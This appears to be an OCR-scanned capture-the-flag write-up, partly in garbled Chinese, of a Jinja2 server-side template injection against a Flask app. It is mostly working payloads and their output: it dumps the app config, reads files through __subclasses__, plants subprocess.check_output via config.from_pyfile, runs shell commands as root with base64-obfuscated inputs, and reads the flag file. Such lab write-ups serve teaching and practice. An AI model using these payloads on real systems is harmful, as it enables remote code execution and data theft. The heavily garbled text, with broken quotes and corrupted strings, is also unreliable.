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Hello <Config {'JSON_AS_ASCII': True, 'USE_X SENDFILE': False, 'SESSIC #=rmammc  [IEECTM
None, 'SESSION_COOKIE DOMAIN': None, 'SESSION COOKIE NAME": 'session’,
'SESSION_REFRESH_EACH REQUEST': True, 'LOGGER_HANDLER POLICY': 'always',
'LOGGER_NAME":'_main_ ", 'DEBUG" False, 'SECRET_KEY': None,
'EXPLAIN_TEMPLATE_LOADING': False, 'MAX CONTENT LENGTH': None,
‘APPLICATION_ROOT': None, 'SERVER_NAME': None, '"PREFERRED_URL SCHEME': ‘http’,
"JSONIFY_PRETTYPRINT_REGULAR'": True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME":
datetime.timedelta(31), 'PROPAGATE EXCEPTIONS': None, 'TEMPLATES AUTO RELOAD':
None, 'TRAP BAD REQUEST ERRORS': False, 'JSON SORT KEYS'": True, 'JSONIFY MIMETYPE'":
‘application/json’, 'SESSION_COOKIE HTTPONLY': True, 'SEND FILE MAX AGE DEFAULT":
datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT ON_EXCEPTION': None,
'SESSION_COOKIE_SECURE': False, 'TRAP HTTP_EXCEPTIONS': False}>
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BERRAS . ?name={{".__class__. mro_ [2].  subclasses__ ()[40](/etc/issue').read() }}

M SSTHRIAVEN: {{".__class__. _mro__[2]._ subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess
import check_output\n\nRUNCMD = check_output\n')}} (X¥HZEFEREEZEN—D XM, HRmiIFTR
AsubprocesstEER 5] Acheck output i, H¥H KB FAZERUNCMD. )

i confight S — N F: ?name={{ config.from_pyfile('/tmp/owned.cfg') }}
B A SSTHRIFANE NSRBI : ?name={{ config['[RUNCMD']('/usr/bin/id',shell=True) }}
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Hello uid=0(root) gid=0(root) groups=0(root)
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?name={{ config[RUNCMD']("echo bHMK | base64 -d"',shell=True) }}
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?name={{ configRUNCMD']("echo bHMgLWFsCg== | base64 -d"',shell=True) }}
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Hello total 24 drwx----- -. 2 root root 4096 Sep 10 22:34 . drwxr-
xr-x. 21 root root 4096 Sep 10 22:34 .. -rw------- . 1 root root 165
Nov 9 2016 .bash_history -rw-r--r--. 1 root root 3106 Feb 20 2014
.bashrc -rw-r--r--. 1 root root 18 Nov 8 2016 .config -rw-r--r--. 1
root root 140 Feb 20 2014 .profile
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<hl>Hello total 24

drwx——— . 2 root root 4096 Sep 10 22:34 .
drwxr-xr-x. 21 root root 4096 Sep 10 22:34 ..
-rw—————. 1 root root 165 Nov 9 2016 .bash history
—-rv-r—r—. 1 root root 3106 Feb 20 2014 . bashrc
-rw—r—r—. 1l root root 18 Nov 8 2016 .config
—-rwr—r—. 1 root root 140 Feb 20 2014 .profile
</hl>
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?name={{ configRUNCMD']("echo bHMgLWFsIC92YXlvd3d3L2hObWwK | base64 -d"',shell=True) }}

<hl1>Hello total 48

drwxr—xr—x. 2 root root 4096 Sep 10 22:34 .
drwxr—-xr-x. 3 root root 4096 Nov 9 2016 ..
-rw—r—r— 1 root root 43 Sep 10 22:34 fldg
-rw-r—r——. 1 root root 34913 Nov 9 2016 x.py
</hl>



BEAgXH (cat var/www/html/flag)
?name={{ configRUNCMD']("echo Y2F0IC92Y Xlvd3d3L2hObWwvZmw0Zwo= | base64 -d™',shell=True) }}
Z3flag

Hello flag{eb6dec18-4ce6-46b5-8a%e-c682833e1630}
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